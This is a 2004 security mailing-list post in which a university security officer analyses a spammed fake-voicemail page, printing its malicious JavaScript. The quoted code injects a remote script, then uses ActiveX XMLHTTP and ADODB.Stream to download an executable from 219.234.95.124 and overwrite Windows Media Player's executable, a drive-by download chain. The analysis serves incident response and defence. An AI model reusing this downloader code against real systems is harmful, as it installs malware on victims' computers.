full-disclosure - spamming trojan?

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From: pauls at utdallas.edu (Paul Schmehl)
Subject: spamming trojan?

--On Wednesday, June 16, 2004 08:23:59 AM -0400 "Geo." 
<geoincidents@....net> wrote:

> Received a spam this morning claiming I have a voicemail with the link
> (warning do not click the link)
>
> http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)
>
> which brings up a frames based page with one of the frames containing this
>
>     function InjectedDuringRedirection(){
>
>  showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;di
> alo gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
> SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";
>
> Anyone want to try and analyze what this thing is? It was spammed to about
> 30 addresses here this morning.
>
All this does is call more functions:

function getRealShell() {
    myiframe.document.write("<SCRIPT 
SRC='http://219.234.95.124/vbox/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 
HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

The real action is at the "RealShell" address:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://219.234.95.124/vbox/w_e_d.exe",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";

The rest should be fairly obvious from the above code.

Paul Schmehl (pauls@...allas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/ir/security/